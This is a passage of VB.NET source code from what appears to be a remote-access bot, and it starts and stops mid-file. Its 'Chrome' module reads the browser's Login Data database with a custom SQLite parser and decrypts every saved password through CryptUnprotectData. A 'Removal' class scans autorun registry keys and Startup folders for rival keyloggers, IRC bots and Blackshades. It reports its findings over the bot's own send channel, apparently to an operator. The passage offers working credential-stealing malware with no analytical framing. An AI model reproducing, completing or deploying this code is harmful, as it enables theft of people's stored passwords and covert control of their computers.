  2132.             Dim columnCount As Integer = sqlite3_column_count(statement)
  2133.             Dim columnName As [String] = ""
  2134.             Dim columnType As Integer = 0
  2135.             Dim columnValues As Object() = New Object(columnCount - 1) {}
  2136.             For i As Integer = 0 To columnCount - 1
  2137.                 columnName = PointerToString(sqlite3_column_name(statement, i))
  2138.                 columnType = sqlite3_column_type(statement, i)
  2139.                 Select Case columnType
  2140.                     Case CInt(SQLiteDataTypes.INT)
  2141.                         If True Then
  2142.                             table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
  2143.                             columnValues(i) = sqlite3_column_int(statement, i)
  2144.                             Exit Select
  2145.                         End If
  2146.                     Case CInt(SQLiteDataTypes.FLOAT)
  2147.                         If True Then
  2148.                             table.Columns.Add(columnName, Type.[GetType]("System.Single"))
  2149.                             columnValues(i) = sqlite3_column_double(statement, i)
  2150.                             Exit Select
  2151.                         End If
  2152.                     Case CInt(SQLiteDataTypes.TEXT)
  2153.                         If True Then
  2154.                             table.Columns.Add(columnName, Type.[GetType]("System.String"))
  2155.                             columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  2156.                             Exit Select
  2157.                         End If
  2158.                     Case CInt(SQLiteDataTypes.BLOB)
  2159.                         If True Then
  2160.                             table.Columns.Add(columnName, Type.[GetType]("System.String"))
  2161.                             columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  2162.                             Exit Select
  2163.                         End If
  2164.                     Case Else
  2165.                         If True Then
  2166.                             table.Columns.Add(columnName, Type.[GetType]("System.String"))
  2167.                             columnValues(i) = ""
  2168.                             Exit Select
  2169.                         End If
  2170.                 End Select
  2171.             Next
  2172.             table.Rows.Add(columnValues)
  2173.         End If
  2174.         Return sqlite3_step(statement)
  2175.     End Function
  2176.     Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
  2177.  
  2178.         On Error Resume Next
  2179.         Dim columnCount As Integer = sqlite3_column_count(statement)
  2180.  
  2181.         Dim columnType As Integer = 0
  2182.         Dim columnValues As Object() = New Object(columnCount - 1) {}
  2183.  
  2184.         For i As Integer = 0 To columnCount - 1
  2185.             columnType = sqlite3_column_type(statement, i)
  2186.  
  2187.             Select Case columnType
  2188.                 Case CInt(SQLiteDataTypes.INT)
  2189.                     If True Then
  2190.                         columnValues(i) = sqlite3_column_int(statement, i)
  2191.                         Exit Select
  2192.                     End If
  2193.                 Case CInt(SQLiteDataTypes.FLOAT)
  2194.                     If True Then
  2195.                         columnValues(i) = sqlite3_column_double(statement, i)
  2196.                         Exit Select
  2197.                     End If
  2198.                 Case CInt(SQLiteDataTypes.TEXT)
  2199.                     If True Then
  2200.                         columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  2201.                         Exit Select
  2202.                     End If
  2203.                 Case CInt(SQLiteDataTypes.BLOB)
  2204.                     If True Then
  2205.                         columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  2206.                         Exit Select
  2207.                     End If
  2208.                 Case Else
  2209.                     If True Then
  2210.                         columnValues(i) = ""
  2211.                         Exit Select
  2212.                     End If
  2213.             End Select
  2214.         Next
  2215.         table.Rows.Add(columnValues)
  2216.         Return sqlite3_step(statement)
  2217.     End Function
  2218.     Private Function StringToPointer(ByVal str As [String]) As IntPtr
  2219.         On Error Resume Next
  2220.         If str Is Nothing Then
  2221.             Return IntPtr.Zero
  2222.         Else
  2223.             Dim encoding__1 As Encoding = Encoding.UTF8
  2224.             Dim bytes As [Byte]() = encoding__1.GetBytes(str)
  2225.             Dim length As UInteger = bytes.Length + 1
  2226.             Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, length)
  2227.             Marshal.Copy(bytes, 0, pointer, bytes.Length)
  2228.             Marshal.WriteByte(pointer, bytes.Length, 0)
  2229.             Return pointer
  2230.         End If
  2231.     End Function
  2232.     Private Function PointerToString(ByVal ptr As IntPtr) As [String]
  2233.         On Error Resume Next
  2234.         If ptr = IntPtr.Zero Then
  2235.             Return Nothing
  2236.         End If
  2237.  
  2238.         Dim encoding__1 As Encoding = Encoding.UTF8
  2239.  
  2240.         Dim length As Integer = GetPointerLenght(ptr)
  2241.         Dim bytes As [Byte]() = New [Byte](length - 1) {}
  2242.         Marshal.Copy(ptr, bytes, 0, length)
  2243.         Return encoding__1.GetString(bytes, 0, length)
  2244.     End Function
  2245.     Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
  2246.         On Error Resume Next
  2247.         If ptr = IntPtr.Zero Then
  2248.             Return 0
  2249.         End If
  2250.         Return lstrlen(ptr)
  2251.     End Function
  2252. End Class
  2253.  
  2254. #End Region
  2255.  
  2256. #Region "Chrome"
  2257.  
  2258. Module CC
  2259.     Public temporaryPasswords As String
  2260.     Public Function GetChromePasswords() As String
  2261.         On Error Resume Next
  2262.         Dim info As String = Nothing
  2263.         Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  2264.         Dim SQLDatabase As Slite = New Slite(datapath)
  2265.         SQLDatabase.ReadTable("logins")
  2266.         If File.Exists(datapath) Then
  2267.             Dim host, user, pass As String
  2268.             For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  2269.                 host = SQLDatabase.GetValue(i, "origin_url")
  2270.                 user = SQLDatabase.GetValue(i, "username_value")
  2271.                 pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  2272.                 If (user <> "") Then
  2273.                     temporaryPasswords = (Chr(1) & SplitMark1 & host & SplitMark1 & user & SplitMark1 & pass & splitMark2)
  2274.                     info += temporaryPasswords
  2275.                 End If
  2276.             Next
  2277.         End If
  2278.         Return info
  2279.     End Function
  2280.     <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  2281.     Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  2282.     End Function
  2283.     <Flags()> Enum CryptProtectPromptFlags
  2284.         CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  2285.         CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  2286.     End Enum
  2287.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  2288.         Public cbSize As Integer
  2289.         Public dwPromptFlags As CryptProtectPromptFlags
  2290.         Public hwndApp As IntPtr
  2291.         Public szPrompt As String
  2292.     End Structure
  2293.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  2294.         Public cbData As Integer
  2295.         Public pbData As IntPtr
  2296.     End Structure
  2297.     Function Decrypt(ByVal Datas() As Byte) As String
  2298.         On Error Resume Next
  2299.         Dim inj, Ors As New DATA_BLOB
  2300.         Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  2301.         inj.pbData = Ghandle.AddrOfPinnedObject()
  2302.         inj.cbData = Datas.Length
  2303.         Ghandle.Free()
  2304.         CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  2305.         Dim Returned() As Byte = New Byte(Ors.cbData) {}
  2306.         Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  2307.         Dim TheString As String = Encoding.Default.GetString(Returned)
  2308.         Return TheString.Substring(0, TheString.Length - 1)
  2309.     End Function
  2310. End Module
  2311. #End Region
  2312.  
  2313. #Region "SQL lite class"
  2314. Class Slite
  2315.  
  2316.     Private db_bytes() As Byte
  2317.     Private page_size As UInt16
  2318.     Private encoding As UInt64
  2319.     Private master_table_entries() As sqlite_master_entry
  2320.  
  2321.     Private SQLDataTypeSize() As Byte = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
  2322.     Private table_entries() As table_entry
  2323.     Private field_names() As String
  2324.  
  2325.     Private Structure record_header_field
  2326.         Dim size As Int64
  2327.         Dim type As Int64
  2328.     End Structure
  2329.  
  2330.     Private Structure table_entry
  2331.         Dim row_id As Int64
  2332.         Dim content() As String
  2333.     End Structure
  2334.  
  2335.     Private Structure sqlite_master_entry
  2336.         Dim row_id As Int64
  2337.         Dim item_type As String
  2338.         Dim item_name As String
  2339.         Dim astable_name As String
  2340.         Dim root_num As Int64
  2341.         Dim sql_statement As String
  2342.     End Structure
  2343.  
  2344.     Private Function GVL(ByVal startIndex As Integer) As Integer
  2345.         On Error Resume Next
  2346.         If startIndex > db_bytes.Length Then Return Nothing
  2347.  
  2348.         For i = startIndex To startIndex + 8 Step 1
  2349.             If i > db_bytes.Length - 1 Then
  2350.                 Return Nothing
  2351.             ElseIf (db_bytes(i) And &H80) <> &H80 Then
  2352.                 Return i
  2353.             End If
  2354.         Next
  2355.  
  2356.         Return startIndex + 8
  2357.     End Function
  2358.  
  2359.     Private Function CVL(ByVal startIndex As Integer, ByVal endIndex As Integer) As Int64
  2360.         On Error Resume Next
  2361.         endIndex = endIndex + 1
  2362.  
  2363.         Dim retus(7) As Byte
  2364.         Dim Length As Integer = endIndex - startIndex
  2365.         Dim Bit64 As Boolean = False
  2366.  
  2367.         If Length = 0 Or Length > 9 Then Return Nothing
  2368.         If Length = 1 Then
  2369.             retus(0) = (db_bytes(startIndex) And &H7F)
  2370.             Return BitConverter.ToInt64(retus, 0)
  2371.         End If
  2372.  
  2373.         If Length = 9 Then
  2374.  
  2375.             Bit64 = True
  2376.         End If
  2377.  
  2378.         Dim j As Integer = 1
  2379.         Dim k As Integer = 7
  2380.         Dim y As Integer = 0
  2381.  
  2382.         If Bit64 Then
  2383.             retus(0) = db_bytes(endIndex - 1)
  2384.             endIndex = endIndex - 1
  2385.             y = 1
  2386.         End If
  2387.  
  2388.         For i = (endIndex - 1) To startIndex Step -1
  2389.             If (i - 1) >= startIndex Then
  2390.                 retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j)) Or (db_bytes(i - 1) << k)
  2391.                 j = j + 1
  2392.                 y = y + 1
  2393.                 k = k - 1
  2394.             Else
  2395.                 If Not Bit64 Then retus(y) = ((db_bytes(i) >> (j - 1)) And (&HFF >> j))
  2396.             End If
  2397.         Next
  2398.  
  2399.         Return BitConverter.ToInt64(retus, 0)
  2400.     End Function
  2401.  
  2402.     Private Function IsOdd(ByVal value As Int64) As Boolean
  2403.         On Error Resume Next
  2404.         Return (value And 1) = 1
  2405.     End Function
  2406.  
  2407.     Private Function ConvertToInteger(ByVal startIndex As Integer, ByVal Size As Integer) As UInt64
  2408.         On Error Resume Next
  2409.  
  2410.         If Size > 8 Or Size = 0 Then Return Nothing
  2411.  
  2412.         Dim retVal As UInt64 = 0
  2413.  
  2414.         For i = 0 To Size - 1 Step 1
  2415.             retVal = ((retVal << 8) Or db_bytes(startIndex + i))
  2416.         Next
  2417.  
  2418.         Return retVal
  2419.     End Function
  2420.  
  2421.     Private Sub ReadMasterTable(ByVal Offset As UInt64)
  2422.         On Error Resume Next
  2423.         If db_bytes(Offset) = &HD Then
  2424.  
  2425.             Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  2426.             Dim ol As Integer = 0
  2427.  
  2428.             If Not master_table_entries Is Nothing Then
  2429.                 ol = master_table_entries.Length
  2430.                 ReDim Preserve master_table_entries(master_table_entries.Length + Length)
  2431.             Else
  2432.                 ReDim master_table_entries(Length)
  2433.             End If
  2434.  
  2435.             Dim ent_offset As UInt64
  2436.  
  2437.             For i = 0 To Length Step 1
  2438.                 ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)
  2439.  
  2440.                 If Offset <> 100 Then ent_offset = ent_offset + Offset
  2441.  
  2442.                 Dim t As Integer = GVL(ent_offset)
  2443.                 Dim size As Int64 = CVL(ent_offset, t)
  2444.  
  2445.                 Dim s As Integer = GVL(ent_offset + (t - ent_offset) + 1)
  2446.                 master_table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  2447.  
  2448.                 ent_offset = ent_offset + (s - ent_offset) + 1
  2449.  
  2450.                 t = GVL(ent_offset)
  2451.                 s = t
  2452.                 Dim Rec_Header_Size As Int64 = CVL(ent_offset, t)
  2453.  
  2454.                 Dim Field_Size(4) As Int64
  2455.  
  2456.                 For j As Integer = 0 To 4 Step 1
  2457.                     t = s + 1
  2458.                     s = GVL(t)
  2459.                     Field_Size(j) = CVL(t, s)
  2460.  
  2461.                     If Field_Size(j) > 9 Then
  2462.                         If IsOdd(Field_Size(j)) Then
  2463.                             Field_Size(j) = (Field_Size(j) - 13) / 2
  2464.                         Else
  2465.                             Field_Size(j) = (Field_Size(j) - 12) / 2
  2466.                         End If
  2467.                     Else
  2468.                         Field_Size(j) = SQLDataTypeSize(Field_Size(j))
  2469.                     End If
  2470.                 Next
  2471.  
  2472.                 If encoding = 1 Then
  2473.                     master_table_entries(ol + i).item_type = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  2474.                 ElseIf encoding = 2 Then
  2475.                     master_table_entries(ol + i).item_type = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  2476.                 ElseIf encoding = 3 Then
  2477.                     master_table_entries(ol + i).item_type = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size, Field_Size(0))
  2478.                 End If
  2479.                 If encoding = 1 Then
  2480.                     master_table_entries(ol + i).item_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  2481.                 ElseIf encoding = 2 Then
  2482.                     master_table_entries(ol + i).item_name = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  2483.                 ElseIf encoding = 3 Then
  2484.                     master_table_entries(ol + i).item_name = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0), Field_Size(1))
  2485.                 End If
  2486.                 'master_table_entries(ol + i).astable_name = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1), Field_Size(2))
  2487.                 master_table_entries(ol + i).root_num = ConvertToInteger(ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2), Field_Size(3))
  2488.                 If encoding = 1 Then
  2489.                     master_table_entries(ol + i).sql_statement = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  2490.                 ElseIf encoding = 2 Then
  2491.                     master_table_entries(ol + i).sql_statement = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  2492.                 ElseIf encoding = 3 Then
  2493.                     master_table_entries(ol + i).sql_statement = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + Field_Size(0) + Field_Size(1) + Field_Size(2) + Field_Size(3), Field_Size(4))
  2494.                 End If
  2495.             Next
  2496.         ElseIf db_bytes(Offset) = &H5 Then
  2497.             Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  2498.             Dim ent_offset As UInt16
  2499.  
  2500.             For i = 0 To Length Step 1
  2501.                 ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)
  2502.  
  2503.                 If Offset = 100 Then
  2504.                     ReadMasterTable((ConvertToInteger(ent_offset, 4) - 1) * page_size)
  2505.                 Else
  2506.                     ReadMasterTable((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  2507.                 End If
  2508.  
  2509.             Next
  2510.  
  2511.             ReadMasterTable((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  2512.         End If
  2513.     End Sub
  2514.  
  2515.     Private Function ReadTableFromOffset(ByVal Offset As UInt64) As Boolean
  2516.         On Error Resume Next
  2517.         If db_bytes(Offset) = &HD Then
  2518.  
  2519.             Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  2520.             Dim ol As Integer = 0
  2521.  
  2522.             If Not table_entries Is Nothing Then
  2523.                 ol = table_entries.Length
  2524.                 ReDim Preserve table_entries(table_entries.Length + Length)
  2525.             Else
  2526.                 ReDim table_entries(Length)
  2527.             End If
  2528.  
  2529.             Dim ent_offset As UInt64
  2530.  
  2531.             For i = 0 To Length Step 1
  2532.                 ent_offset = ConvertToInteger(Offset + 8 + (i * 2), 2)
  2533.  
  2534.                 If Offset <> 100 Then ent_offset = ent_offset + Offset
  2535.  
  2536.                 Dim t = GVL(ent_offset)
  2537.                 Dim size As Int64 = CVL(ent_offset, t)
  2538.  
  2539.                 Dim s As Integer = GVL(ent_offset + (t - ent_offset) + 1)
  2540.                 table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  2541.  
  2542.                 ent_offset = ent_offset + (s - ent_offset) + 1
  2543.  
  2544.                 t = GVL(ent_offset)
  2545.                 s = t
  2546.                 Dim Rec_Header_Size As Int64 = CVL(ent_offset, t)
  2547.  
  2548.                 Dim Field_Size() As record_header_field
  2549.                 Dim size_read As Int64 = (ent_offset - t) + 1
  2550.                 Dim j As Integer = 0
  2551.  
  2552.                 While size_read < Rec_Header_Size
  2553.                     ReDim Preserve Field_Size(j)
  2554.  
  2555.                     t = s + 1
  2556.                     s = GVL(t)
  2557.                     Field_Size(j).type = CVL(t, s)
  2558.  
  2559.                     If Field_Size(j).type > 9 Then
  2560.                         If IsOdd(Field_Size(j).type) Then
  2561.                             Field_Size(j).size = (Field_Size(j).type - 13) / 2
  2562.                         Else
  2563.                             Field_Size(j).size = (Field_Size(j).type - 12) / 2
  2564.                         End If
  2565.                     Else
  2566.                         Field_Size(j).size = SQLDataTypeSize(Field_Size(j).type)
  2567.                     End If
  2568.  
  2569.                     size_read = size_read + (s - t) + 1
  2570.                     j = j + 1
  2571.                 End While
  2572.  
  2573.                 ReDim table_entries(ol + i).content(Field_Size.Length - 1)
  2574.                 Dim counter As Integer = 0
  2575.  
  2576.                 For k = 0 To Field_Size.Length - 1 Step 1
  2577.                     If Field_Size(k).type > 9 Then
  2578.                         If Not IsOdd(Field_Size(k).type) Then
  2579.                             If encoding = 1 Then
  2580.                                 table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  2581.                             ElseIf encoding = 2 Then
  2582.                                 table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  2583.                             ElseIf encoding = 3 Then
  2584.                                 table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  2585.                             End If
  2586.                         Else
  2587.                             table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  2588.                         End If
  2589.                     Else
  2590.                         table_entries(ol + i).content(k) = CStr(ConvertToInteger(ent_offset + Rec_Header_Size + counter, Field_Size(k).size))
  2591.                     End If
  2592.  
  2593.                     counter = counter + Field_Size(k).size
  2594.                 Next
  2595.             Next
  2596.         ElseIf db_bytes(Offset) = &H5 Then
  2597.             Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  2598.             Dim ent_offset As UInt16
  2599.  
  2600.             For i = 0 To Length Step 1
  2601.                 ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)
  2602.  
  2603.                 ReadTableFromOffset((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  2604.             Next
  2605.  
  2606.             ReadTableFromOffset((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  2607.         End If
  2608.  
  2609.         Return True
  2610.     End Function
  2611.  
  2612.     Public Function ReadTable(ByVal TableName As String) As Boolean
  2613.         On Error Resume Next
  2614.         Dim found As Integer = -1
  2615.  
  2616.         For i = 0 To master_table_entries.Length Step 1
  2617.             If System.String.Compare(master_table_entries(i).item_name.ToLower(), TableName.ToLower(), StringComparison.Ordinal) = 0 Then
  2618.                 found = i
  2619.                 Exit For
  2620.             End If
  2621.         Next
  2622.         If found = -1 Then Return False
  2623.         Dim fields() = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(", StringComparison.Ordinal) + 1).Split(",")
  2624.         For i = 0 To fields.Length - 1 Step 1
  2625.             fields(i) = LTrim(fields(i))
  2626.             Dim index = fields(i).IndexOf(" ", StringComparison.Ordinal)
  2627.             If index > 0 Then fields(i) = fields(i).Substring(0, index)
  2628.             If fields(i).IndexOf("UNIQUE", StringComparison.Ordinal) = 0 Then
  2629.                 Exit For
  2630.             Else
  2631.                 ReDim Preserve field_names(i)
  2632.                 field_names(i) = fields(i)
  2633.             End If
  2634.         Next
  2635.         Return ReadTableFromOffset((master_table_entries(found).root_num - 1) * page_size)
  2636.     End Function
  2637.  
  2638.     Public Function GetRowCount() As Integer
  2639.         On Error Resume Next
  2640.         Return table_entries.Length
  2641.     End Function
  2642.     Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String
  2643.         On Error Resume Next
  2644.         If row_num >= table_entries.Length Then Return Nothing
  2645.         If field >= table_entries(row_num).content.Length Then Return Nothing
  2646.         Return table_entries(row_num).content(field)
  2647.     End Function
  2648.     Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String
  2649.         On Error Resume Next
  2650.         Dim found As Integer = -1
  2651.         For i = 0 To field_names.Length Step 1
  2652.             If String.Compare(field_names(i).ToLower(), field.ToLower(), StringComparison.Ordinal) = 0 Then
  2653.                 found = i
  2654.                 Exit For
  2655.             End If
  2656.         Next
  2657.         If found = -1 Then Return Nothing
  2658.         Return GetValue(row_num, found)
  2659.     End Function
  2660.  
  2661.     Public Function GetTableNames() As String()
  2662.         On Error Resume Next
  2663.         Dim retVal As String() = Nothing
  2664.         Dim arr = 0
  2665.         For i = 0 To master_table_entries.Length - 1 Step 1
  2666.             If master_table_entries(i).item_type = "table" Then
  2667.                 ReDim Preserve retVal(arr)
  2668.                 retVal(arr) = master_table_entries(i).item_name
  2669.                 arr = arr + 1
  2670.             End If
  2671.         Next
  2672.         Return retVal
  2673.     End Function
  2674.  
  2675.     Public Sub New(ByVal baseName As String)
  2676.         On Error Resume Next
  2677.         If File.Exists(baseName) Then
  2678.             FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  2679.             Dim asi As String = Space(LOF(1))
  2680.             FileGet(1, asi)
  2681.             FileClose(1)
  2682.             db_bytes = System.Text.Encoding.Default.GetBytes(asi)
  2683.             If String.Compare(System.Text.Encoding.Default.GetString(db_bytes, 0, 15), "SQLite format 3", StringComparison.Ordinal) <> 0 Then
  2684.                 End
  2685.             End If
  2686.             If db_bytes(52) <> 0 Then
  2687.                 End
  2688.             ElseIf ConvertToInteger(44, 4) >= 4 Then
  2689.                 End
  2690.             End If
  2691.             page_size = ConvertToInteger(16, 2)
  2692.             encoding = ConvertToInteger(56, 4)
  2693.             If encoding = 0 Then encoding = 1
  2694.             ReadMasterTable(100)
  2695.         End If
  2696.     End Sub
  2697.  
  2698. End Class
  2699. #End Region
  2700.  
  2701. #End Region
  2702.  
  2703. #Region " Removal "
  2704.  
  2705. #Region "Imports"
  2706.  
  2707. #End Region
  2708.  
  2709. Class Removal
  2710.  
  2711. #Region "Declarations"
  2712.     Private Declare Function MoveFileEx Lib "kernel32" Alias "MoveFileExA" (ByVal OldFilename As String, ByVal NewFileName As String, ByVal nWord As Long) As Long
  2713.     Public AppLocal As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
  2714.     Public Temp As String = Environment.GetEnvironmentVariable("temp")
  2715.     Public DirStartup As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup)
  2716.     Public DirStartup2 As String = Environment.GetEnvironmentVariable("SystemDrive") & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  2717.     Public AppData As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
  2718.     Public Users As String = Environment.GetEnvironmentVariable("userprofile")
  2719. #End Region
  2720.  
  2721.     Private Strings1() As String = {"SetWindowsHookEx", "GetForegroundWindow", "GetWindowText"}
  2722.     Private Strings2() As String = {"GetAsyncKeyState", "GetForegroundWindow", "GetWindowText"}
  2723.     Private Strings3() As String = {"SetThreadContext", "ZwUnmapViewOfSection", "VirtualAllocEx"}
  2724.     Private Strings4() As String = {"PRIVMSG", "JOIN", "USER", "NICK"}
  2725.     Private Strings5() As String = {"WSAStartup", "gethostbyname", "gethostbyaddr", "gethostname", "bs_fusion_bot", "MAP_GETCOUNTRY", "VS_VERSION_INFO", "LookupAccountNameA", "CryptUnprotectData", "Blackshades NET"}
  2726.     Private Strings6() As String = {"MD5CryptoServiceProvider", "RijndaelManaged"}
  2727.     Private Strings7() As String = {"GetExecutingAssembly", "System.Reflection"}
  2728.  
  2729.     Private Const RemovalStatusHeader = 125
  2730.  
  2731.     Private ListOfObjects As New List(Of PossibleThreat)
  2732.  
  2733.     Public Structure PossibleThreat
  2734.         Dim FullPath As String
  2735.         Dim Running As Boolean
  2736.         Dim ID As Integer
  2737.         Dim Judged As JudgedAs
  2738.         Dim RegKey As String
  2739.         Dim ExeName As String
  2740.     End Structure
  2741.  
  2742.     Public Enum RemovalStatus
  2743.         AttemptingRemoval = 1
  2744.         ProcessTerminated = 2
  2745.         RemovedFile = 4
  2746.         RegistryKeyRemoved = 5
  2747.         FailedToRemove = 6
  2748.         RemovingOnReboot = 7
  2749.         ThreatRemoved = 8
  2750.     End Enum
  2751.  
  2752.     Public Enum JudgedAs
  2753.         Unknown = 17
  2754.         Keylogger = 18
  2755.         GenericBot = 19
  2756.         Injector = 20
  2757.         IRC_bot = 21
  2758.         NET_Injector = 22
  2759.         NET_ExecuteBytes = 23
  2760.     End Enum
  2761.  
  2762. #Region "Scanning"
  2763.     Public Sub ScanThread()
  2764.         On Error Resume Next
  2765.         Dim ExternalScan As New Thread(AddressOf ScanBots)
  2766.         ExternalScan.SetApartmentState(ApartmentState.STA)
  2767.         ExternalScan.Start()
  2768.         GC.Collect()
  2769.     End Sub
  2770.  
  2771.     Public Sub ScanBots()
  2772.         Try
  2773.             ListOfObjects.Clear()
  2774.             Dim SuspicionList As New List(Of String)
  2775.             For Each S As String In ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\Run")
  2776.                 SuspicionList.Add(S)
  2777.             Next
  2778.             For Each S As String In ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\Run")
  2779.                 SuspicionList.Add(S)
  2780.             Next
  2781.             For Each S As String In ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce")
  2782.                 SuspicionList.Add(S)
  2783.             Next
  2784.             For Each S As String In ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce")
  2785.                 SuspicionList.Add(S)
  2786.             Next
  2787.             For Each S As String In ReturnDirStrs(Environment.GetFolderPath(Environment.SpecialFolder.Startup))
  2788.                 SuspicionList.Add(S)
  2789.             Next
  2790.             For Each S As String In ReturnDirStrs(Environment.GetEnvironmentVariable("SystemDrive") & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup")
  2791.                 SuspicionList.Add(S)
  2792.             Next
  2793.             For Each FilePath As String In SuspicionList
  2794.                 Try
  2795.                     If IsFilePathAlright(FilePath.Split(MainModule.SplitMark1)(0)) Then ListOfObjects.Add(ScanFile(FilePath))
  2796.                 Catch : End Try
  2797.             Next
  2798.             Dim SendingString As String = Nothing
  2799.             For x = 0 To ListOfObjects.Count - 1
  2800.                 If Not ListOfObjects(x).FullPath = Nothing And Not ListOfObjects(x).Judged = Nothing Then
  2801.                     SendingString &= ListOfObjects(x).ID & MainModule.SplitMark1
  2802.                     SendingString &= ListOfObjects(x).FullPath & MainModule.SplitMark1
  2803.                     SendingString &= ListOfObjects(x).RegKey & MainModule.SplitMark1
  2804.  
  2805.                     If ListOfObjects(x).Running Then
  2806.                         SendingString &= Chr(2) & MainModule.SplitMark1
  2807.                     Else
  2808.                         SendingString &= Chr(1) & MainModule.SplitMark1
  2809.                     End If
  2810.                     SendingString &= Chr(x + 8) & MainModule.SplitMark1
  2811.                     SendingString &= Chr(ListOfObjects(x).Judged) & MainModule.splitMark2
  2812.                 End If
  2813.             Next
  2814.             If Not SendingString = Nothing Then
  2815.                 MainModule.Send(Chr(MainModule.CommandType.MalwareRemoval) & SendingString)
  2816.             End If
  2817.         Catch ex As Exception
  2818.         End Try
  2819.     End Sub
  2820.  
  2821.     Public Function IsFilePathAlright(ByVal path As String) As Boolean
  2822.         If path.Contains(Users) Then Return True
  2823.         Return False
  2824.     End Function
  2825.  
  2826.     Public Function ScanFile(ByVal path As String) As PossibleThreat
  2827.         Try
  2828.             If IO.File.Exists(path.Split(MainModule.SplitMark1)(0)) Then
  2829.                 Dim Info As New PossibleThreat
  2830.                 Info.FullPath = path.Split(MainModule.SplitMark1)(0)
  2831.                 Info.RegKey = path.Split(MainModule.SplitMark1)(1)
  2832.                 Info.Running = IsProcessRunning(path)
  2833.                 Info.ExeName = System.IO.Path.GetFileName(Info.FullPath)
  2834.                 Dim TempString As String = System.Text.Encoding.UTF8.GetString(IO.File.ReadAllBytes(Info.FullPath)).Trim(Chr(0))
  2835.                 If Not TempString = Nothing Then
